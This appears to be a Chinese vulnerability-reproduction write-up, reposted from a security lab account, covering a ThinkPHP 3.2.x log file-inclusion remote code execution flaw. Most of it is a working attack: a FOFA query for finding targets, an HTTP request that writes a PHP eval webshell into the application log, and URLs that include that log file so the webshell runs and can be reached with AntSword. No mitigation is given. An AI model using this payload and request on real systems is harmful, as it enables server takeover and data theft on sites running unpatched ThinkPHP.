-Thinkphp 3.0 log rce

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现-Thinkphp 3.0 log rce

0x01 阅读须知

0x02 漏洞描述

  ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。该漏洞是在受影响的版本中，业务代码中如果模板赋值方法assign的第一个参数可控，则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径，造成任意文件包含，执行任意代码。

0x03 漏洞复现

漏洞影响:thinphp 3.2.x版本

FOFA:“thinphp”

1.url后输入不存在内容，爆出版本为3.2.3

http://x.x.x.x:23707/dwaodkwpa

2.写入一句话木马到日志中。虽然系统报错，但是已经写入今天的日志中了

GET /index.php?m=--><?=${@print(eval($_POST[1]))}?> HTTP/1.1
Host: x.x.x.x:23707
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t6drgq5cgde4caprfqv30joda0
Upgrade-Insecure-Requests: 1

3.蚁剑连接，得到一个webshell，密码为1（日志文件名需改为今天的日期）

debug模式关闭：http://x.x.x.x:23707/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_04_13.log
debug模式开启：http://x.x.x.x:23707/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_04_13.log